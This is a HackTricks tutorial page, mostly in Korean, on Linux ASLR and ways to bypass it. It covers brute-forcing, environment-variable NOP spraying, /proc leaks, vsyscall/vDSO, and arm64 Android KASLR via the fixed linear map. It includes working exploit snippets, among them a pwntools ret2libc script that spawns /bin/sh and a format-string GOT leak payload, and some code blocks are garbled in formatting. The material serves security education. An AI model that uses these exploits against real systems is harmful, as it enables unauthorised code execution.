ASLR
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
**Address Space Layout Randomization (ASLR)**은 운영 체제에서 시스템 및 애플리케이션 프로세스가 사용하는 메모리 주소를 무작위화하기 위해 사용되는 보안 기법입니다. 이렇게 하면 공격자가 stack, heap, libraries와 같은 특정 프로세스 및 데이터의 위치를 예측하기가 훨씬 어려워져서, 특히 buffer overflows와 같은 특정 유형의 exploits를 완화합니다.
ASLR 상태 확인
Linux 시스템에서 ASLR 상태를 확인하려면 /proc/sys/kernel/randomize_va_space 파일의 값을 읽으면 됩니다. 이 파일에 저장된 값은 적용되는 ASLR의 유형을 결정합니다:
- 0: 무작위화 없음. 모든 것이 정적입니다.
- 1: 보수적 무작위화. 공유 라이브러리, stack, mmap(), VDSO page가 무작위화됩니다.
- 2: 전체 무작위화. 보수적 무작위화로 무작위화되는 요소들에 추가로,
brk()로 관리되는 메모리도 무작위화됩니다.
다음 명령으로 ASLR 상태를 확인할 수 있습니다:
cat /proc/sys/kernel/randomize_va_space
ASLR 비활성화
ASLR를 비활성화하려면 /proc/sys/kernel/randomize_va_space 값을 0으로 설정합니다. ASLR 비활성화는 일반적으로 테스트나 디버깅 상황 이외에서는 권장되지 않습니다. 다음은 비활성화하는 방법입니다:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
다음 명령으로 실행할 때 ASLR을 비활성화할 수도 있습니다:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR 활성화
ASLR을 활성화하려면 /proc/sys/kernel/randomize_va_space 파일에 값 2를 쓸 수 있습니다. 이 작업은 일반적으로 root 권한이 필요합니다. 완전한 무작위화는 다음 명령으로 수행할 수 있습니다:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
재부팅 시 지속성
echo 명령으로 수행한 변경은 일시적이며 재부팅하면 초기화됩니다. 변경을 영구적으로 적용하려면 /etc/sysctl.conf 파일을 편집하여 다음 줄을 추가하거나 수정해야 합니다:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
파일 /etc/sysctl.conf을 편집한 후, 변경사항을 적용하려면:
sudo sysctl -p
This will ensure that your ASLR settings remain across reboots.
우회 방법
32bit brute-forcing
PaX는 프로세스 주소 공간을 3개의 그룹으로 나눕니다:
- Code and data (initialized and uninitialized):
.text,.data, and.bss—> 16 bits of entropy in thedelta_execvariable. 이 변수는 각 프로세스마다 무작위로 초기화되며 초기 주소에 더해집니다. - Memory allocated by
mmap()and shared libraries —> 16 bits, nameddelta_mmap. - The stack —> 24 bits, referred to as
delta_stack. 그러나 실제로는 11 bits만 사용합니다(10번째 바이트부터 20번째 바이트 포함), 16바이트로 정렬 —> 결과적으로 524,288 possible real stack addresses가 됩니다.
위의 내용은 32-bit 시스템을 위한 것이며, 감소된 최종 엔트로피로 인해 exploit이 성공할 때까지 실행을 반복하면 ASLR을 우회할 수 있습니다.
Brute-force ideas:
- 만약 shellcode 앞에 큰 NOP sled를 둘 수 있을 만큼 overflow가 충분히 크다면, 흐름이 NOP sled의 일부를 건너뛸 때까지 stack의 주소를 brute-force할 수 있습니다.
- overflow가 그리 크지 않고 exploit을 로컬에서 실행할 수 있는 경우, NOP sled와 shellcode를 environment variable에 추가하는 방법이 있습니다.
- exploit가 로컬이라면 libc의 base 주소를 brute-force해볼 수 있습니다(32bit 시스템에서 유용):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- 원격 server를 공격하는 경우, 인수로 10을 전달하는 예시로 **brute-force the address of the
libcfunctionusleep**를 시도할 수 있습니다. 만약 어느 시점에 server가 응답하는 데 10s 추가로 걸린다면, 해당 함수의 주소를 찾은 것입니다.
Tip
64bit 시스템에서는 엔트로피가 훨씬 높아 이 방법은 가능하지 않습니다.
64 bits stack brute-forcing
env variables로 stack의 큰 부분을 채운 다음 binary를 수백/수천 번 locally에서 abuse하여 exploit하는 것이 가능합니다.
다음 코드는 just select an address in the stack하는 방법을 보여주며, 매 few hundreds of executions마다 그 주소에 NOP instruction이 들어 있게 되는 과정을 설명합니다:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force 스택 NOP 탐지
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Local Information (`/proc/[pid]/stat`)
프로세스의 **`/proc/[pid]/stat`** 파일은 항상 모든 사용자가 읽을 수 있으며 다음과 같은 흥미로운 정보를 **포함**하고 있습니다:
- **startcode** & **endcode**: 바이너리의 **TEXT**와 관련된 상·하 주소
- **startstack**: **stack**의 시작 주소
- **start_data** & **end_data**: **BSS**가 위치한 상·하 주소
- **kstkesp** & **kstkeip**: 현재 **ESP** 및 **EIP** 주소
- **arg_start** & **arg_end**: **cli arguments**가 위치한 상·하 주소
- **env_start** &**env_end**: **env variables**가 위치한 상·하 주소
따라서, 공격자가 공격 대상 바이너리와 동일한 컴퓨터에 있고 이 바이너리가 raw arguments로 인한 오버플로를 예상하지 못하며 대신 이 파일을 읽은 뒤 조작 가능한 다른 **input that can be crafted after reading this file**에서 오버플로가 발생할 경우, 공격자는 이 파일에서 몇몇 주소를 얻어 익스플로잇을 위한 오프셋을 구성할 수 있습니다.
> [!TIP]
> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
### Having a leak
- **The challenge is giving a leak**
If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
buffer overflow를 악용하면 ret2plt를 이용해 libc의 함수 주소를 exfiltrate할 수 있습니다. 확인:
- Format Strings Arbitrary Read
ret2plt와 마찬가지로, format strings 취약점을 통해 arbitrary read가 가능하면 GOT에서 libc function의 주소를 exfiltrate할 수 있습니다. 다음 example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
스택 내부의 주소를 악용하여 ASLR을 우회해 보세요:
vsyscall
The vsyscall 메커니즘은 일부 system call을 user space에서 실행할 수 있게 하여 성능을 향상시킵니다. 비록 이들은 본질적으로 커널의 일부입니다. vsyscalls의 중요한 장점은 그들의 **고정된 주소(fixed addresses)**에 있으며, 이 주소들은 ASLR(Address Space Layout Randomization)의 대상이 아닙니다. 이러한 고정성 때문에 공격자는 해당 주소를 알아내고 익스플로잇에 사용하기 위해 information leak 취약점을 필요로 하지 않습니다.
그러나 여기서 매우 흥미로운 gadgets를 찾기 어렵습니다(예를 들어 ret;와 동등한 것을 얻는 것은 가능).
(The following example and code is from this writeup)
For instance, an attacker might use the address 0xffffffffff600800 within an exploit. While attempting to jump directly to a ret instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a syscall provided by the vsyscall section can prove successful. By carefully placing a ROP gadget that leads execution to this vsyscall address, an attacker can achieve code execution without needing to bypass ASLR for this part of the exploit.
예제 vmmap/vsyscall 및 gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
따라서 커널이 CONFIG_COMPAT_VDSO로 컴파일된 경우 vdso 주소가 무작위화되지 않으므로 vdso를 악용해 ASLR을 bypass할 수 있다는 점에 유의하세요. 자세한 내용은 다음을 확인하세요:
KASLR on ARM64 (Android): bypass via fixed linear map
많은 arm64 Android 커널에서 kernel linear map (direct map)의 base는 부팅 간에 고정되어 있습니다. 물리 페이지의 Kernel VAs가 예측 가능해져 direct map을 통해 접근 가능한 타깃에 대해 KASLR이 무력화됩니다.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsto findmemstart_addr- 해당 주소에서 8바이트(LE)를 any kernel read를 사용해 읽습니다 (예: tracing-BPF helper가
BPF_FUNC_probe_read_kernel를 호출하는 경우) - Compute direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- 대상이 direct map 내에 있거나 direct map을 통해 접근 가능한 경우(예: page tables, 물리 페이지상의 kernel objects를 조작/관찰할 수 있는 경우) 별도의 KASLR leak가 필요 없습니다.
- arm64 Android에서 신뢰할 수 있는 임의 R/W 및 kernel 데이터 타깃팅이 단순해집니다.
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
tracing-BPF helpers에 접근하려면 충분한 권한이 필요합니다; any kernel read primitive 또는 info leak이면
PHYS_OFFSET를 얻기에 충분합니다.
How it’s fixed
- 제한된 kernel VA 공간과 CONFIG_MEMORY_HOTPLUG가 미래 hotplug를 위해 VA를 예약하여 linear map을 가장 낮은 VA(고정 base)로 밀어냅니다.
- Upstream arm64는 linear-map randomization을 제거했습니다 (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks

